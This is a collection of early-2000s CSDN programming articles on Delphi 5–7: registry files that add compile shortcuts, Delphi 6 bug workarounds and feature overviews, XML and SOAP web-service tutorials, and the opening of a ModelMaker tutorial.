[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild]

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiProject\Shell\autobuild\command]

@="D:\\DELPHI5\\Delphi5\\Bin\\delphi32.exe /ns %1 /b"

[HKEY_CLASSES_ROOT\DelphiProject\QuickView]

@="*"

存为Delphiproject.reg,然后双击此文件，以后你就可以在以dpr为后缀的项目文件的右键快捷菜单中发现多了autobuild一项,可以马上编译生成可执行文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。

再为pas文件增加功能：

建立一个文本文件，内容为：

REGEDIT4

[HKEY_CLASSES_ROOT\DelphiUnit]

@="Delphi Source File"

"EditFlags"=hex:00,00,00,00

"AlwaysShowExt"=""

[HKEY_CLASSES_ROOT\DelphiUnit\DefaultIcon]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe,5"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell]

@=""

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open]

@="&Open"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\command]

@="d:\\DELPHI5\\Delphi5\\Bin\\Delphi32.exe /ns /np"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec]

@="[open(\"%1\")]"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\Open\ddeexec\Application]

@="DELPHI32"

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile]

"EditFlags"=hex:01,00,00,00

[HKEY_CLASSES_ROOT\DelphiUnit\Shell\compile\command]

@="D:\\DELPHI5\\Delphi5\\Bin\\dcc32.exe %1"

[HKEY_CLASSES_ROOT\DelphiUnit\QuickView]

@="*"

存为delphiunit.reg, 然后双击此文件，以后你就可以在以pas为后缀的源码文件的右键快捷菜单中发现多了compile一项,可以马上编译生成dcu文件了，还多了快速查看一项，可以不打开Delphi而察看文件内容。

要注意你的delphi安装路径要做相应更改，对注册表不熟悉的朋友一定要谨慎做好备份。


CSDN_文档中心_delphi6 问题1

在delphi里可以内嵌汇编语言直接访问一些寄存器如EAX,而在delphi6里执行下面代码会跳不出循环

procedure Delphi6EAXBug; // loops forever with Delphi 6
var
  i: integer;
begin
  for i := 0 to 15 do
    asm
      mov eax,2
    end;
end;
解决办法
procedure Delphi6EAXBug;
var
  i: integer;
begin
  for i := 0 to 15 do
    asm
      push eax
      mov eax,2
      pop eax
    end;
end;


CSDN_文档中心_delphi6 问题2

如果将一个int64类型的变量作为一个需要浮点数为参数的函数的参数（如：ln,sin等）会报告类型不匹配，而不会自动进行转换，如下例

var
  X: Int64;
  Y: Extended;
begin
  X := 1;
  Y := Ln(X);
end;
解决办法：给参数加上0.0
var
  X: Int64;
  Y: Extended;
begin
  X := 1;
  Y := Ln(X+0.0);
end;

//Rock
//转贴请保留此信息


CSDN_文档中心_delphi6 问题3

一个很怪的现象，试试下面代码

1.在form上放一个TRichEdit

2.放一个TLabel

3.放一个TButton

4.在Button1的onlick事件里写下面的代码并执行

procedure TForm1.Button1Click(Sender: TObject);
begin
  Label1.Parent := RichEdit1;
  Label1.Top := 20;
  Label1.Left := 20;
  RichEdit1.Repaint;
end;

//rock
//转贴请保留此信息


CSDN_文档中心_Delphi6 新特性简明一览

Delphi 6

The Joy Of 6

What's In The New Version Of Delphi?

This is a UK BUG MasterClass to be held on 7th August, 2001 in Hammersmith, England.

This Masterclass will look at the mass of new features added in Delphi 6 (released May 2001), demonstrating as many of them as time permits. Borland are emphasising certain key areas in this release, primarily:
  • e-Business with the ability to write and access Web Services and Web applications.
  • Enterprise development with support for XML, SOAP and enhanced CORBA support.
  • Cross-platform development at the source level with CLX and dbExpress.

We will look into these areas as well as all the other improvements made since Delphi 5 (released August 1999).

Below is a bullet point agenda of what we will try and cover.

Note that this agenda is based on a pre-release version of the product and so is subject to change.

BizSnap

Enterprise Edition only
"Full Business-to-Business Web Services Integration"
  • Ability to create Web Services in Delphi
    • Invokable interfaces are interfaces with RTTI generated on them for remotable invocation.
    • Remote interfaced objects (RIOs) implement invokable interfaces in Web Services.
    • THTTPSoapDispatcher picks up SOAP messages and dispatches them accordingly.
    • THTTPSoapPascalInvoker turns SOAP messages into direct calls to the invokable interface's methods.
    • TWSDLHTMLPublish publishes a WSDL document describing the service to non-Delphi clients.
  • Ability to connect to Web Services from Delphi client applications
    • Non-Delphi Web Services are accessed by importing their WSDL documents to generate interface definitions.
    • THTTPRIO acts as a stand-in for the Web Service RIO.
    • You call the RIO's interface methods through the THTTPRIO.
  • XML Document Manipulation
    • TXMLDocument represents an XML document.
    • It allows you to read an XML document, edit it save the changes back again.
    • XML Data Binding Wizard can read in schema files and generate code that represents the document with a natural and intuitive property-based programming model.
    • XML data bindings replace the complex coding required to use the XML Document Object Model (DOM) interfaces.
    • Supports the W3C DOM Level 2 specification with platform-independent and vendor-independent interfaces.
    • Makes use of any compliant XML parsers installed one the machine.
    • XML Transform components are provided to allow XML documents to be used in place of database servers.
    • The components transform between client dataset data packets and XML.
    • An XML Mapper utility is provided which can read in schema files and allows you to set up the transformations.

WebSnap

Enterprise Edition only
"Brings Power and Speed to Web Application Development"
  • WebBroker still present and now supports Apache Web Server.
  • Impetus is now on WebSnap, which allows component-based Web server development.
  • Allows multiple Web modules in an application.
  • WebPage Surface Designers help you build your application surfaces in HTML with instant browser previews.
  • XML Tree and XSL Tree displays to present any XML/XSL documents with indentations and syntax highlighting.
  • Pre-built scriptable components - datasets, login forms, end-user sessions and so on.
  • Page producers and dispatchers for servicing standard XSL-transformed XML pages, logical pages and your own custom adapters and services.
  • XSL page producers for combining XML data with XSL transforms.
  • Server-side scriptable Web Page components to easily interface with Web site development teams and script writers.
  • Server-side scripting with JavaScript, VBScript and any ActiveScript language.
  • Active script debugging support
  • WebSnap debug server aids debugging Web applications. Allows you to monitor HTTP requests, responses, and response time and to develop WebBroker and WebSnap applications without installing a commercial Web server. Also works with WebBroker applications. (Available in Professional and Enterprise Editions).

DataSnap

Enterprise Edition only
"Lets You Build High-performance Web Service-enabled Middleware"
  • DataSnap is the new name for the next version of MIDAS.
  • DataSnap does the same job as MIDAS, but now allows you to connect between a client program and an application server through XML/SOAP.
  • Application servers can therefore now be Web Services.
  • A new SOAP Server Data Module is provided for building application servers with.
  • Support for connection brokers has been added, to make it easier to switch the connection used by many components.
  • Client datasets now make it easy to get at their data in XML format.

IDE

  • Object TreeView (like hierarchy pane in Delphi 5 Data Module Designer)
  • Code editor
    • Surface designers (not in Personal Edition)
    • Diagram page (from Delphi 5 Data Module Designer, but applicable to all designers) (not in Personal Edition)
    • WebSnap pages (only in Enterprise Edition)
    • Drag and drop tabs
    • Code Completion
    • Visual Basic emulation keybinding
    • Emacs demo custom keybinding
  • Data Module Designer reverts to Delphi 4 functionality.
  • Object Inspector
    • Properties dialog
    • Instance list
    • Expandable inline component references
  • Form designer
    • Context menu
    • Tooltips
    • Designer page on environment options dialog
  • Component Palette
    • Page names
    • Context menu page items
  • Internet toolbar for WebSnap applications
  • Automatic docking can be disabled

Compiler

  • Enumerated types with explicitly assigned ordinality
  • New language directives
    • platform, library and deprecated
    • varargs
  • New compiler directives
    • $SetPEFlags and $SetPEOptFlags
    • MSWINDOWS, LINUX and VER140
    • $IF and ConditionalExpressions and Defined()
    • $ALIGN
    • $HINT, $WARN, $ERROR, $FATAL and $MESSAGE
    • $LIBVERSION, $LIBSUFFIX and $LIBPREFIX
  • Writeable constants are disabled by default and removed from RTL/VCL source
  • CHASM (vs BASM) with new directives and instrcution support for MMX, SIMD, Enhanced MMX and Intel SSE for the Pentium Pro, Pentium III, and Pentium 4 CPUs; and AMD Enhanced 3D for the AMD K7 CPUs

COM

Not in Personal Edition
  • New COM objects can implement any existing, registered interface.
  • Neutral threading model support.
  • COM objects can be given COM+ attributes
  • New wizard for COM+ event objects
  • Transactional objects support MTS and COM+. MTS support was exclusive to Delphi 5 Enterprise but transactional objects are supported in Delphi 6 Professional Edition.
  • TCOMAdminCatalog allows an application to act as an Automation controller for the COM+ administration tool.

Database

Not in Personal Edition
  • dbExpress
    • Lightweight database drivers that provide fast access to SQL database servers.
    • Deploying a dbExpress application involves deplying one DLL (the server-specific driver) with optional connection information in a text config file.
    • Alternatively, everything can be compiled into the executable by using some supplied DCUs.
    • dbExpress uses unidirectional datasets for efficiency (no memory buffering, but quite limiting).
    • Connect to a client dataset for bidirectional movement (TSQLClientDataSet is a compound component).
    • Supports multiple transactions across a single connection
  • TUpdateSQL can service multiple update objects.
  • dbGo is the new name for ADOExpress
  • New compound client dataset components that include built-in provider and source dataset: TBDEClientDataSet, TSQLClientDataSet and TIBClientDataSet
  • MyBase is new term for briefacse application using client dataset and XML data

CORBA

Enterprise Edition only
  • IDL2PAS for clients and servers, with associated wizards.
  • VisiBroker 3.3 or 4.0x can be specified.
  • Support for event and naming services.
  • Support for Borland AppServer 4.5.1 SIDL (Simplified IDL) to connect to EJBs.

Actions

Not in Personal Edition
  • Action main menu and action toolbar components which support actions being dragged on
  • Supports setting colours, patterns, bitmaps or banners
  • Less frequently used actions can be hidden, as in Windows 2000
  • Action manager allows organisation of actions against UI elements
  • Action customisation dialog is an end-user version of an action manager
  • Many new standard actions have been added
    • Rich edit actions for aligning text, bold, italic, etc.
    • Help context action
    • File menu actions (open, save as, run, exit, etc.)
    • Search actions
    • Page control and tab actions
    • List actions
    • Dialog actions
    • Internet actions (browse URL, download URL, send mail)
    • An action for customising action bars
  • Actions now have additional properties, such as secondary shortcut and group index

VCL Enhancements

  • TLabeledEdit
  • TValueListEditor
  • TComboBoxEx
  • TColorBox
  • THashedStringList
  • Publishable interface properties
  • Streamable subcomponents
  • Miscellaneous enhancements
    • TListBox auto-completion
    • TCheckListBox header colour and background colour
    • TListBox auto-completion and virtual listbox support
    • New bevel properties
    • TStringList case sensitivity
    • TDataModule is now in Forms unit to allow smaller UI-less applications to be written
    • TThread FatalException property
    • TTreeView allows easy custom node creation and enhances sorting ability
    • TListView allows easy custom node creation
    • TDateTimePicker Format property
    • THeaderControl supports column dragging
    • TToolBar Menu property
    • Container enhancements including TBucketList and TObjectBucketList, which are simple hash tables
    • TApplication.OnSettingChange reacts to changes in system-wide settings
    • TForm supports layered forms with AlphaBlend, AlphaBlendValue, TransparentColor, and TransparentColorValue properties
    • INI files and regsitry objects support binary data via a stream
    • Menu items support autochecking
  • Shell sample controls

RTL Enhancements

  • ConvUtils.pas contains routines for converting between various measures, and comes with a demo
  • StdConvs.pas contains variables used by ConvUtils.pas
  • DateUtils.pas has many date and time functions in
  • StrUtils.pas has additional string manipulation routines, including SoundEx support
  • Math.pas has new routines and some efficiency improvements
  • IInterface is the new base interface. Both IUnknown and IInvokable are based on IInterface

Custom Variants

  • New Variants unit containing all the Variant-manipulation routines
  • Custom data types for Variants are supported
  • Platform-independent Variant support now in place
  • VarCmplx.pas unit implements a custom Variant for complex numbers
  • VarConv.pas unit implements a custom Variant for measurements, such as those in ConvUtils.pas

Cross-Platform Development

Not in Personal Edition
  • CLX with 160 components
    • BaseCLX
    • VisualCLX
    • DataCLX
    • NetCLX
  • dbExpress
  • Kylix required to compile for Linux

Translation Tools

  • New name for ITE
  • External Translation Manager can be deployed to translators without requiring full Delphi license


CSDN_文档中心_Delphi6 运行界面与采访实录

2001-05-16

Delphi6 运行界面与采访实录

Borland首次公布的Delphi6运行时屏幕界面，酷！！

序号 | 运行画面 | 内容
1 | Installing Delphi 6 | 安装界面
2 | The IDE | IDE，强大的代码自动完成功能，属性与事件的嵌套设置
3 | WebServices | 编一个Delphi程序来获得你昨天刚寄出的包裹的投寄信息
4 | The Component Palette | 组件面版：ADO,BDE,XML,DataSnap,WebSnap,dbExpress,InterBase,Indy

Delphi6专题采访

序号 | 采访实况 | 主题
1 | Community TV: Delphi 6 XML Data Bindings with Mark Edington | XML
2 | Community TV: RAD Product Group Overview with Simon Thornhill | RAD
3 | Community TV: Delphi 6 Overview with Michael Swindell | OverView
4 | Community TV: Delphi 6 BizSnap with Rick Nadler | BizSnap
5 | Community TV: Delphi 6 Technical Overview with Chuck Jazdzewski | Technical
6 | Community TV: Delphi 6 WebSnap with Jim Tierney | WebSnap
7 | Community TV: Delphi 6 Language and RTL Enhancements with Danny Thorpe | Language

www.delphidevelopers.com


CSDN_文档中心_Delphi6 中XML 文档的应用

Delphi6 中XML 文档的应用

XML文档是新一代的Web数据格式。它可以用树的形式储存一切数据。

下面介绍一下TXMLDocument控件的一些用法：

已定义：

XMLDoc: TXMLDocument;

EncoderMIME: TIdEncoderMIME;

DecoderMIME: TIdDecoderMIME;

xn:IXMLNode;

f:TFileStream;

EncoderMIME和DecoderMIME是Indy控件中的Mime工具，用来把所有类型的字符串转换为Mime（Base64）的ASCII码，你用其他的编码方式也可以的，比如：UUE，XXE。

XN是XML文档的树结点。F是文件流。

首先，加载XML文档

xmldoc.LoadFromFile(‘XML文档的文件名');

xmldoc.Active:=true; //使XML文档变为活动

再次,定位Xn在XML文档中的位置（假设是的二层的第四个节点）

xn:=xmldoc.Node;

xn:=xn.ChildNodes.Nodes[1]; //节点数是从零开始的，所以要减一

xn:=xn.ChildNodes.Nodes[3];

接着，

增加下一级节点

xn:=xn.AddChild(‘新的节点名字’)

xn.Text:=’节点的文本内容’

xn.Attributes['节点的第一个属性']:=’属性值’

xn.Attributes['节点的第二个属性']:=’属性值’

修改节点，（节点的名字是不能改的）

xn.Text:=’新的文本内容’

xn.Attributes['节点的第二个属性']:=’ 新的属性值’

删除节点Xn

xn.ParentNode.ChildNodes.Delete(xn.ParentNode.ChildNodes.IndexOf(xn));

利用Xn.Text存放文件,

f:=TFileStream.Create('要存放的文件名',fmOpenRead);

xn.Text:=EncoderMime.Encode(f); //转换格式,文件编码

f.Free;

解出Xn.Text中的文件,

f:=TFileStream.Create(‘目标文件名’,fmCreate);

DecoderMime.DecodeToStream(xn.Text,f);

f.Free;

最好利用Xn.attribute来增加一个属性来表示文件的编码方式,比如

xn.Attributes['Type']='Base64'

这样改上面的两个片段为:

xn.Attributes['Type']:='Base64';

f:=TFileStream.Create('要存放的文件名',fmOpenRead);

xn.Text:=EncoderMime.Encode(f);

f.Free;

if xn.IsTextElement //Xn中存在Text

then if xn.HasAttribute('Type') then //Xn中存在属性’Type’

if xn.Attributes['Type']='Base64' then

begin

f:=TFileStream.Create(‘目标文件名’,fmCreate);

DecoderMime.DecodeToStream(xn.Text,f);

f.Free;

end;

最后给出一个利用TTreeView来显示XML文档的所有树结构

XMLTree是TTreeView类

procedure TForm1.ReadXMLTree(RootTreeNode:TTreeNode; XMLTreeNode:IXMLNode);

var i:integer; c:TTreeNode;

begin

for i:=0 to XMLTreeNode.ChildNodes.Count-1 do

begin

c:=xmltree.Items.AddChild(RootTreeNode,XMLTreeNode.ChildNodes.Nodes[i].NodeName);

ReadXMLTree(c,XMLTreeNode.ChildNodes.Nodes[i]);

end;

end;

使用方法

ReadXMLTree(nil,xmldoc.Node);

当然要先加载XML文档 J ^_^

至于使用XML文档作为In-memory数据库就要用Delphi6的XML Mapping Tool了，先建立一个最简单的XML文档，再用MappingTool生成.XTR文件，用TXMLDataSetProvider作为数据提供者，TdataSet连接，搞个TTable就可以把XML作为数据库用了，详细的请看Delphi6的Demos目录下的Internet\XMLTransformProvider!

-------------------------------------------Power by Liu Yang 2002-2-8

My email: ly_liuyang_ly@21cn.com

Home page: http://lyhome.3322.net

一个利用XML的例子：LY FTP Explorer中的Site Manager文件

可以从我的主页下载。


CSDN_文档中心_delphi6的新特性

delphi6的新特性
BizSnap&#8482; simplifies eBusiness integration by easily and seamlessly creating and using XML/SOAP based Web Services
Delphi 6 radically simplifies building next-generation eBusiness applications on the Internet with complete SOAP based Web Services and XML data exchange support. The seamless integration of XML and Web Services technologies with Delphi 6 delivers the only Rapid Application Development for industry standard Web Services and B2B, B2C, and P2P integration over the Internet.

WebSnap&#8482; is a component-based Web application development framework that supports leading Web Application Servers, including Apache, Netscape and Microsoft Internet Information Services (IIS)
WebSnap integrates the power of Delphi directly into today's Web site development teams. With WebSnap, Delphi applications can seamless integrate with Web sites and Web site development teams using today's popular HTML development environments such as Dreamweaver, Frontpage, VBScript, and JavaScript.

DataSnap&#8482; delivers high-performance, Web Service-enabled database middleware that enables any client application or service to easily connect with any major database over the Internet
DataSnap supports all major database servers such as Oracle, MS-SQL Server, Informix, IBM DB2, Sybase and InterBase. Client applications connect to high-performance DataSnap servers through industry standard SOAP/XML HTTP connections over the Internet without bulky database client drivers and complex configuration requirements. DCOM, CORBA, and TCP/IP connections are also supported.

Build Single Source Windows/Linux Applications
Delphi 6 is Kylix compatible! Use the Cross-platform CLX&#8482; component library and visual designers to build high-performance portable applications for Windows that can be easily re-compiled on Linux with Borland Kylix (sold separately). Plus! Bring CLX based Linux applications from Kylix into Delphi 6 to easily re-compile on Windows. Delphi 6 includes BaseCLX, VisualCLX, DataCLX, and NetCLX components.

Delphi 6 Borland AppServer Integration
Connect any Delphi 6 application or Web Service with Borland AppServer/EJBs using new SIDL (Simple IDL). Easily build ultra high-performance rich GUI Windows clients for EJB based AppServer applications. Publish AppServer EJB functionality to the world over Internet as industry standard SOAP/XML Web Services.

Borland VisiBroker for Delphi - Client and Server Development
Build ultra-high performance rich GUI Windows and Web Browser clients for Visibroker CORBA and AppServer/EJB applications. And now in Delphi 6 build CORBA Visibroker server objects that are interoperable with any CORBA client or object in a heterogeneous IT environment.

Latest Windows 2000/ME and Office 2000 GUI Support
Build the most modern user interfaces with new ActionBands, ActionManagers, and Shell Controls to easily create dynamic user interfaces that follow the latest Microsoft UI trends. Take all the work out of complex user interfaces while letting end-users fully customize their own UI experience.


CSDN_文档中心_Delphi6的新特性[翻译]

DELPHI 6的新特性
BizSnap™通过容易地、无缝地创建和使用基于XML/SOAP的网络服务来简化电子商务的整合
DELPHI 6通过完全基于SOAP的网络服务和XML数据交换支持从根本上简化了在互联网上构筑下一代电子商务程序。XML及网络服务技术和DELPHI 6的无缝融合为工业标准化的网络服务和互联网上B2B、B2C和P2P的集成带来了唯一的快速开发工具。
WebSnap™是一个支持流行网络服务器（如Apache, Netscape和IIS）且基于控件的网络程序开发框架
WebSnap使得DELPHI能够直接融入当今的网站开发团队。通过WebSnap，DELPHI程序能够无缝地集成到网站和使用现今流行的HTML开发环境（如Dreamweaver、Frontpage、VBScript和JavaScript）的网站开发团队中。
DataSnap™通过高性能的网络服务数据库中间件使得任何一个客户端程序或服务能够通过互联网连接到任何一个 主数据库
DataSnap支持几乎所有主要的数据库服务器，如Oracle、MS-SQL Server、Informix、IBM DB2、Sybase和InterBase。客户端程序能够在互联网上通过SOAP/XML HTTP工业标准连接到高性能的DataSnap服务器而无需笨重的客户端驱动和烦琐的配置。DCOM、CORBA和TCP/IP的连接也同样支持。
编写单一源代码的Windows/Linux程序
DELPHI 6和Kylix兼容！使用交叉平台的CLX™控件库和可视化设计器编写的高性能、可移动式的Windows程序能在Linux上用Borland Kylix（单独出售）轻松编译。还有，Linux中基于CLX的Kylix程序也能在Windows上的DEPHI 6中重新编译。DELPHI 6中包括BaseCLX 、VisualCLX、DataCLX和NetCLX控件。
DELPHI 6和AppServer的融合
通过使用新的SIDL（Simple IDL）使任何DELPHI 6程序及网络服务和Borland AppServer/EJBs连接。轻松地为基于EJB的AppServer程序构筑超高性能的丰富图形用户接口Windows客户端。通过互联网向世界推出诸如工业标准SOAP/XML网络服务的AppServer EJB功能。
面向DELPHI的Borland VisiBroker-- 客户机服务器开发
为VisiBroker CORBA和AppServer/EJB程序构筑超高性能的丰富图形用户接口的Windows和网络浏览客户端。现在在DELPHI 6中可以构筑和各种各样IT环境中任何CORBA客户端和对象交互操作的CORBA VisiBroker服务器对象。
支持最新的WINDOWS 2000/ME和Office 2000图形用户接口
通过ActionBands、ActionManagers和Shell Controls可以轻松制作最流行的、符合微软UI最新趋势的动态用户界面。通过让最终用户完全自定义他们自己的UI使用来排除复杂的用户界面。


CSDN_文档中心_Delphi6利用WebService 编写 SendEMail程序

到http

到http://www.xmethods.com

就会看到一个Delphi做的服务器程序. Send an EMail

有如下描述:

我们下载程序接口:

点WSDL URL连接

另存为名为IEmailService.wsdl到你的程序相同目录.

导入程序接口:

然后会生成Unit2单元.

Unit Unit2;

interface

uses Types, XSBuiltIns;
type

  IEmailService = interface(IInvokable)
['{839561DB-8AFE-43B8-81EB-5505C873EC8F}']
function SendMail(const ToAddress: WideString; const FromAddress: WideString;
const ASubject: WideString; const MsgBody: WideString): Integer;  stdcall;
end;

implementation

uses InvokeRegistry;

initialization
InvRegistry.RegisterInterface(TypeInfo(IEmailService), '', '');

end.

选择刚才保存的wsdl文件给HTTPRIO1.WSDLLaction属性

在Unit1中运行编程

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Rio, SoapHTTPClient, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
HTTPRIO1: THTTPRIO;
LabeledEdit1: TLabeledEdit;
LabeledEdit2: TLabeledEdit;
LabeledEdit3: TLabeledEdit;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses Unit2; /////////////

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
if (HTTPRIO1 as IEmailService).SendMail
(LabeledEdit1.Text,
LabeledEdit2.Text,
LabeledEdit3.Text,
Memo1.Text
) = 0 then
ShowMessage('Send Success!');
end;

end.

可以发邮件了,很方便也很简单.


CSDN_文档中心_DELPHI6抢先研究：WebService/SOAP版的Hello world

SOAP 技术号称 Microsoft 之梦，也是 Borland 给 Delphi 6 定下的最大卖点， 可惜一直没能弄明白，虽然在6月14日的 DELPHI 6 上海发布会上见识过（见 《 Delphi 6 上海发布会》 ），但因为以前从未接触过，直到 DELPHI 6 即将推出前看了她的 New Feature 才知道有 SOAP 一说， 而且在6月14日之前还一直不知道所谓的 SOAP 是个什么东东， DELPHI 6 的帮助又太不详细，仅有的那两个 DEMO 又太过复杂， 而且还不是基于 HTTP 的，只好自己研究，最近这两天，总算有大突破，所以来此与大家分享：
鉴于DELPHI6自带的DEMO太复杂，我在这里写一个简单的HelloWorld，用Windows98+PWS实现：
服务端：
1.New¦WebServices¦SoapServerApplication，选ISAPI（如果你想试试 DELPHI6 新增的 Web App Debbuger，也可以选它，关于它我想另外再说）；
2.SaveAll, Unit1命名为：MainWM，Project1命名为：SoapTest；
3.在MainWM中的Uses中加入：InvokeRegistry
4.自定义一个接口，及其对应类的实现：
ISoapHello = Interface ( IInvokable )
['{6DF34980-6FFC-11D5-9E62-0050BABD8FE1}'] // 这个GUID你自己用 Ctrl+Shift+G 产生
Function GetHello( aID : Integer ) : WideString; StdCall;
End;

TSoapHello = Class ( TInvokableClass, ISoapHello )
Protected
Function GetHello( aID : Integer ) : WideString; StdCall;
End;
5.实现GetHello函数：
Function TSoapHello.GetHello( aID : Integer ) : WideString;
Begin
If ( aID = 1 ) Then
Result := 'Hello world!'
Else
Result := 'Error ID!';
End;
6.注册接口和类：
Initialization
InvRegistry.RegisterInterface( TypeInfo( ISoapHello ) );
InvRegistry.RegisterInvokableClass( TSoapHello );
7.编译之即可产生：SoapTest.dll

启动PWS，设置虚拟目录soap为soaptest.dll所在的目录，权限为执行
打开IE，输入URL为：http://localhost/soap/soaptest.dll/wsdl
即可看到一个表格，显示了此SOAP服务（即所谓的Web Service）所提供的WSDL
其中应该有我们自定义的接口：ISoapHello
点其链接将返回一个XML文档

客户端：
1.New¦Application
2.SaveAll，Unit1命名为ClnMain，Project1命名为SoapClient
3.New¦WebServices¦WebServicesImporter，在URL中输入：http://localhost/soap/soaptest.dll/wsdl/isoaphello，如果上面用IE看没错的话，这时确定后将产生一个单元，其中有我们在服务端定义的接口
4.SaveAll，Unit1命名为SoapIntf，再在ClnMain中Uses加入SoapIntf
5.在Form1上放上Edit, Label, Button, HTTPRIO（在Web Services页中的第一个）四个控件，设置HTTPRIO1.URL为：http://localhost/delphi6/soap/soaptest.dll/soap
6.双击Button1输入下面的程序：
Var
p : ISoapHello;
begin
p := HTTPRIO1 As ISoapHello;
Label1.Caption := p.GetHello( StrToInt( Edit1.Text ) );
end;
7.编译运行，在Edit1中输入"1"按Button1，Label1将显示"Hello world!"
输入其它数字将显示"Error ID!"

SOAP so easy.
^_^

我主页上此文带图片http://mental.top263.net/mentals/tech/delphi/d6_soap1.htm


CSDN_文档中心_Delphi7建模利器ModelMaker教程 (English,Many Pictures)

Getting Started with ModelMaker Introduction
by Robert Leahey of Thoughtsmithy
Introduction
Tutorial 1
Tutorial 2
Tutorial 3
Tutorial 4
Tutorial 5
Tutorial 6
Tutorial 7
Tutorial 8
Tutorial 9
Tutorial 10
ModelMaker Training
ModelMaker is an extremely powerful tool; as a result, like all powerful and extensive products, ModelMaker is complex and can be quite daunting to a new user. With that in mind, I’ve prepared this document as a starting place for those who see the potential in ModelMaker and wish to get up and running faster.
ModelMaker is often billed as a UML diagramming tool or a Delphi CASE tool. However, it is far more than a diagramming tool and the label 揅ASE tool?sometimes brings to mind some AI attempting to write code for you. A more accurate description of ModelMaker is that of a full-featured, extensible two-way code management tool with support for UML diagramming, design patterns, reverse engineering, refactoring, etc.
At its core, ModelMaker features an 揳ctive code model?— all your classes and associated elements (units, diagrams, documentation, event types, etc.) are objects within the model. ModelMaker provides various views into this active model, allowing you to manipulate it from within a class list, member list or a diagram?When you’re ready, you can generate source code units from the model to be compiled by Delphi. Since the units are generated afresh each time (rather than MM working in the extant units), you can change various settings (such as code commenting options, code order, method instrumentation, etc.) and regenerate the units for a variety of purposes (instrumented code for debugging, heavily commented code for automated documentation generation, etc.).
Note that these tutorials are in no way comprehensive; there is more than one way to do most operations; and there are many, many options in the environment. But the following topics should give you a small taste of what ModelMaker is capable of. For more information or assistance, visit www.modelmakertools.com for downloadable documents. You can also request ModelMaker training services via Thoughtsmithy; see our Training Services page for details or contact us at info@thoughtsmithy.com.
1. Importing Existing Code
2. Visualizing Imported Classes
3. Creating Classes within Diagrams
4. Diagramming Overview
5. Implementing classes/The Member List
6. Delphi Integration
7. Commenting Code / Macros
8. Differencing
9. The Unit Code Editor
10. Advanced Stuff

-------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------

Tutorial 1 — Importing (and Generating) Code
by Robert Leahey of Thoughtsmithy

Introduction
Tutorial 1
Tutorial 2
Tutorial 3
Tutorial 4
Tutorial 5
Tutorial 6
Tutorial 7
Tutorial 8
Tutorial 9
Tutorial 10
ModelMaker Training
Warning: in order to avoid overwriting some of your production code, make a copy of the unit or units you are going to import before continuing.

The fastest way to see ModelMaker in action is to import some of your existing code.
Open ModelMaker and create a new model by selecting the New button or File|New.
At this point we are going to tell ModelMaker to import a source file — it will reverse engineer the code it finds and add it to the model. Keep in mind that while ModelMaker’s parsing engine is good, it can only deal with so much obfuscated code formatting before it chokes. For most people, this is not an issue — if MM encounters problems while importing your code, it will tell you.

Figure 1 — the empty Units View.
There are multiple ways to import a file, but the quickest way is via drag & drop.
In ModelMaker, select the Units View by pressing F4 or by selecting its tab.
Find the unit you wish to import in Windows Explorer and then position ModelMaker so that you can drag the file into MM’s main window.
Drop the unit into the Units View — if you’re in a new project that is empty, the Units View should look like figure 1.

Figure 2 — Units View with imported unit.
Once you have dropped the unit, it will be reverse-engineered. The unit and any classes it contains will be added to the Unit List, which should now look something like Figure 2.
Don’t worry if your icons look a little different — I’ve got some ModelMaker extensions installed that can change the appearance of my screens.
The top-level node in the Unit View treeview represents the unit you’ve just imported. Any child nodes are the classes, interfaces or event types that reside in that unit. You can double-click these nodes to bring up their editors.

Figure 3 — the Member List.
Note that if you select a class in the Unit View, all of its members (properties, methods, etc.) will be displayed in the Member List, which looks something like figure 3.
We’ll cover the Member List in Tutorial 5; for now it’s enough to notice that your class’ members are enumerated here.
Press F3 to switch to the Classes View. You should notice here a hierarchical representation of the classes you’ve imported. Figure 4 is an example.

Figure 4 — the Classes View.
Notice that TObject, IInterface and IUnknown are always present. Note also the appearance of my TtsCustomSplitter class in Figure 4 — this is the ancestor of TtsShutter, which I’ve imported. However because I did not (yet) import the unit containing TtsCustomSplitter, this class must be represented as a “placeholder” (note the dotted lines around the class icon which denote placeholder status.) ModelMaker knows that TtsShutter descends from TtsCustomSplitter, but that’s all it knows. If I wish to be able to use ModelMaker’s features involving inheritance, I’d have to import TtsCustomSplitter’s unit.
ModelMaker is also capable of importing your in-source comments and attaching them to their associated entities, but only if the comments and/or ModelMaker are properly set up to do so. If MM’s Unit Code Editor (F7) shows a mass of unassociated code comments, fear not — we’ll cover importing comments in Tutorial 7.
This is an extremely abbreviated example of how to import existing code. You can also perform imports using one of the two import buttons on the main toolbar.
– this button will import your code into a new model.
– this button will import your code into the existing model.
In both cases, the buttons will give you the option of importing from a specific path or from a Source Path Alias (which we have not covered here). See Source Path Aliases in the ModelMaker help file for more information.
Generating Code
Obviously our ultimate goal is to create code which can be compiled in Delphi. ModelMaker uses its internal code model and applies the various formatting options you’ve selected to generate the specified units.
— the Unlock Code Generation button.
— the Lock Code Generation button.
— the Generate button.
— the Enable Auto Generation button.
— the Disable Auto Generation button.
In its default configuration, ModelMaker will not generate source code until you tell it to. To do so now, switch to the Units View by pressing F4 or by selecting the Units tab. Assuming you have one or more units containing classes (if you don’t, go back, use your new-found skills and import some units), first, make sure that code generation is enabled by clicking the Unlock Code Generation button in the main toolbar (see sidebar), then select a unit to generate and press the Generate button (found in the Units View toolbar — see sidebar.) You should find that the specified unit has been regenerated by ModelMaker. If the unit was open in Delphi, you'll see that Delphi has already reloaded the new version of the file. This method is handy if you don't want to generate the code until you are ready.
